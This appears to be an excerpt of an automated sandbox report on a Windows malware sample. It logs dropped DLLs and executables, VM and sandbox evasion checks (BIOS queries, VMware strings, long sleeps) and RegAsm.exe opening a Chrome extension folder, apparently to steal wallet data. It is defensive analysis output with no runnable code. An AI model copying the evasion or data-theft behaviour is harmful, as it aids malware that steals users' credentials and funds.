Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 7120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 7700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: 8700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Memory allocated: D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Memory allocated: 2820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Memory allocated: 2730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory allocated: 2520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory allocated: 25A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory allocated: 45A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory allocated: 1260000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory allocated: 2D00000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory allocated: 4D00000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory allocated: 1590000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory allocated: 3030000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory allocated: 15E0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Memory allocated: 1020000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Memory allocated: 2D40000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Memory allocated: 4D40000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 1680000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 34E0000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 3350000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: BE0000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 2870000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 2670000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Memory allocated: 1190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Memory allocated: 2970000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Memory allocated: 4970000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,Sleep,GetCursorPos,__aulldiv,Sleep,

2_2_00432CC0

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 508
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 498

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-06KMO.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-28PK6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-F4EPM.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userKKECFIEBGC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\unins000.exe (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jnpqblobe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-ETFGC.tmp	Jump to dropped file

Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe

Evasive API call chain: GetSystemTime,DecisionNodes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 2.8 %

Source: C:\Users\user\Desktop\kqS23MOytx.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7752	Thread sleep count: 215 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7752	Thread sleep time: -43000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe TID: 7344	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe TID: 5576	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 7216	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 7216	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 7212	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 6736	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 7220	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 7220	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 8180	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 8180	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 8008	Thread sleep count: 194 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 8008	Thread sleep time: -1164000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 8188	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 8188	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe TID: 6708	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe TID: 3544	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe TID: 7200	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe TID: 7780	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe TID: 4136	Thread sleep time: -58000s >= -30000s
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe TID: 4888	Thread sleep time: -1440000s >= -30000s
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe TID: 2740	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0053F895 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_0053F895
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_004062D5 FindFirstFileW,FindClose,	6_2_004062D5
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_00402E18 FindFirstFileW,	6_2_00402E18
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00406C9B
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_0040301A GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	7_2_0040301A
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_00402B79 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	7_2_00402B79
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_004062D5 FindFirstFileW,FindClose,	12_2_004062D5
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_00402E18 FindFirstFileW,	12_2_00402E18
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	12_2_00406C9B

Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe

Code function: 9_2_00409A14 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

9_2_00409A14

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2567684599.00000000007DF000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000000.1887990256.0000000000292000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: vHfYZBq8hvMci6BjEF6
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000019.00000002.3080596468.0000000001748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2226924986.0000000003D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: cNvwyKpixPEFFNOFPFYRQFGVTTGCPMFOKBPQHDZOXWUXBDYZbQNVDFQNKBPQEZOLXYUBLLDSVGRUZFFHWUNXOQVXGNKEMIARKEZFKTQXKJAFJEOQFTHLAHNGGNPNSNMSQSEHTGHDPEMLXVPBVIHKHKAMZPNPGYCQRUEJGHBYZNZPNBEBCABRAMSBEIVF2OPGKHSUKRCXQTJXUBHABAIHVOfHGIPVKUFGNOWELTGIZSJKMNXKRYBIUNADUUKFYIZTHMFWRLYRXXfQKZRUUDMALAFJYBHHWNCMXGUKJKYNILOHSCYRRHPNGORACRVDRC:GYUAFYDYAYRWDSGFWAVQWCBBETRDI`QIZOKUKVBLIIEDFWQTYUXHHHUZHCCKLONHANLNPESRJDYXHZ.NOMEWPKXIYSFAOXEDELLGRKNXLYNYVZIBULDSCJXDEAZAOARKFZVJATGFNXXPZC`VDZABEXFEMHDBDRSPDNBVAWTVQDQBPMHWJBEIYVZLEUMHCAZ0NKQINQRGJLTPESHXEMUMGXCTTMQAWDYGHIYVFFIHSAJHPCOEORUHDAUBEATZPOAQNOOBQCHOWRFMJSDASUAOHFTCNDFWEDPRHBCDU`YSRDXUEVJEYZASTJQPOAEXZVHSLTZLXRQXOEVXGCEABRQZLN0XSZEXOVSFBNTPRKINUOFIVIJdGVGDPQICMACHDYLFRRWSDRFNSNTEQFBKLYOCDGEMLDZIYJEGTK8JJBLNKGZRXPIIMKGVNEYHZLKVBOHnSRRDIDOGOXJLGDNNKWJVCTYNMREGHLLIVMFNBECQDCZAUTCERWMGIQUvTXTSOZOLZFZFSGUXNLRWEWOSDJGRKGMQZUFVKYCASNDGBKBSGOSJBVVWJAPbHRSIOLVOCOEZIMJJWHVMKNREDRHBEAKRFDBJWXEMFEQVCXRMD2DTKEQDFUZWLJGNCNUUGATKESJFXIAJSARKXHRTGKEBVKAYAOLHLCTWJBDKWCC`MLDGXPVAKPMTLDSMJNXBXUAPZSDIOLGRZZPGDDKJJQLTWAOYRLIGDORGIHSZEFNQFCBSEXVPWFXXFMJCGCKJPZACPOpQUBWXQSBVDBFCZCPNRTOERXKSDJFVTSWQCLUNNGFPZKVSOETYRDZZUTYLYSEEVJQNNGKZUVDXHSIXPYTEFNFGJLOXZBTCUW@OTOOYWVBUNLIVMCIBBWJRKSWPTFXLMGM6AWGDQDBRZEQYPIGYZFJCIZXJDRV@PYWGIWWTTEKEAXYNVGPKVDXQPKKKIFBQDESSGLLAFQXLLKODTXAKXOTDEFARUZROHJZ(VSDUKONALUGGZIEBKNUVFADFTNLVURAJECDKIGACPHNVBLFIQPWFXALWFWIIBZVAUXHZVXLIFHCWLISIVBMMBHYVYTCHrPYDBDGLBQZTYQBRIAFXISILWDBFKIWFVVAWCYTATWGHPZZNTLIQXGJFHNjYSVNMWAWXOWXJSCXTGRKTOOASPMJRVQYTLFKQZOZVIQXDCVOMOBHY<USSOKXRXPTXXDUIAMJVHUERPEDOAFYdUVRIUWZNCKBGLIGKKJURODHJEVGNIRQFUVCWWJQPQNZZGBFJLL:KNASFAADHDCPWBXGWEYPKIOERYEHOtCKPJBKIJEJJOYZPTSDCTFWBKJKABHTTFZXZZMYCJQZCISBKAJUHLVRTGJEVPXHUHWGZYVPUVHCBFXQZYXYYITPHAVHTOTIULTDMUTQ(DDXJNOEDYJKUCEAJDYOSBJAHQQRPDPQQCUGISQJXFDNHWOGSVLLQWA\UFVSKCKZTRDZUBCBYJCTMNCFMRMQVCUHKFFNJRXMFKYJFVNJGVCYDMVLYCTJQPLCREIJPROZEYWGTCUGGQJMKD4CPQXDQTBEVMKAVPHRKQBQMPFACfRWZQZRHPANQAKWAFAPZFFVLFOCLSGHRISLIGKDMNIROBZAUJRETPTUXDLXOGJFOHBBBOHDBWLVRBPHTIVFSSVWXJVGUU2VNDDFKENVMFERSBJGWVUDPACFVXDYYCWMFETMLOWGUFOSQMJAHHOEDTCCKFRFWHOZBRNItRVYVYXNUORUQXLJJBGPVCASVLNOFLDNIHRWWJQDTOLHZOVTEIPXTENXRDDHWTSZLOFKIOLJTUDKMZNWXDCETAFUCVNNGIIN0UQWNELFFDHXFCQKTVSCUXBJNBCGWKIZSBHDZFTGJCMAGESUCBCZPAYVKAW.YDTYUPQGSXFMWNGHFVFYHRRVRVFNLUFWICUGLVYOHPGRVUEXLGNYTOSFVCFFAVOFWECpPBJUQJEIPYXPVJBFQQLMSQWNJEVAHFWTRCGPIFCGNGBHILOGHCXBHWFZ<KNUQSJFRFENWCVFMNDXUKRPNVYLWBGjIHWCWSXHVUYIPYKIAGUWVPSINNIODBMOXGYLHSZIMIBQRXHJQBSGC:WTDQYDEHIHMYJRAKZQTMENXYDKLCLFHIMVVGEGDAXOIOMLTNSUAIZTQFEQNFYFACRvJSFPCOSXCSOGWNLNQRGKSLBBZLUJFXWLSSPHZHYZWTLYZZWJSMKQIZHYQDP.AOLQSNFCTKRQWRGFNBHCWLSUTGORSLBAXRAFOVZCTLHALRNLXQIEFWBNKXWUDMCUZXRLPYAWNFWKDUEHROJ`FEONOWJVMXQSXYVWVFNSASHWJVWDGMWRIYXOOSBPNPMVMPRU(GKRWOIOGAMUNGSUODSHA\EXOTJWERECINLMTMIXKDSQDOMPQLDVAVRCRBPNFHNYDDVRlJUSXURCPUMZSUTGFLEGCJDDHPGLBUKUBJVMPNTWCQREBUGMAZNCFVJnQYVFQWYUVYNCCRJRATOGAHVUFRRMHRTMXSPBNAGGMMBRJSHENVTOGDWNIUOGEKNJMZMXFFTWGZMAHAAZXMJNXCERUCYJICXGTZDPGHDTXLSYCZLOOKRJ0QUIOOWALOJPWFEZLCZWMUOVQ2LBNBUESXKIOMOTFEYCRJDHCCPlCKBYEEAFIZEZLMENXBHE
Source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: IdB3eWRjHGFs8bGXlHn
Source: ALyS_8kMpHhhtscK4twnP2yt.exe, 0000000C.00000003.1981884418.000000000071A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\>}M+
Source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: hGFSkmkL7QT1t2o3s2n
